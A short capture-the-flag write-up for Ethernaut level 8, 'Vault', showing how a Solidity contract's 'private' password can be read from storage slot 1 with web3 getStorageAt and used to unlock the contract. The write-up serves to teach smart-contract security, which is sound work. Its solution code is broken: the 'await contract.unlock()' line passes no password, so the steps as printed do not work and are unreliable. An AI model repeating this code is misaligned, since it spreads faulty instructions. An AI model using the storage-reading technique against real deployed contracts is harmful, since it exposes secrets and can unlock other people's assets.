Ethernaut Hacks Level 8: Vault

This is the level 8 of Ethernaut game.

Pre-requisites

• Layout of state variables in Solidity
• Reading storage at a slot in contract

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

player has to set locked to false.

Only way is by calling unlock by correct password.

Although password state variable is private, one can still read a storage variable by determining it's storage slot. Therefore sensitive information should not be stored on-chain, even if it is specified private.

Above, the password is at a storage slot of 1 in Vault.

Let's read it:

password = await web3.eth.getStorageAt(contract.address, 1)

Call unlock with password:

await contract.unlock()

Unlocked. Verify by:

await contract.locked() === false

And that's it.

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏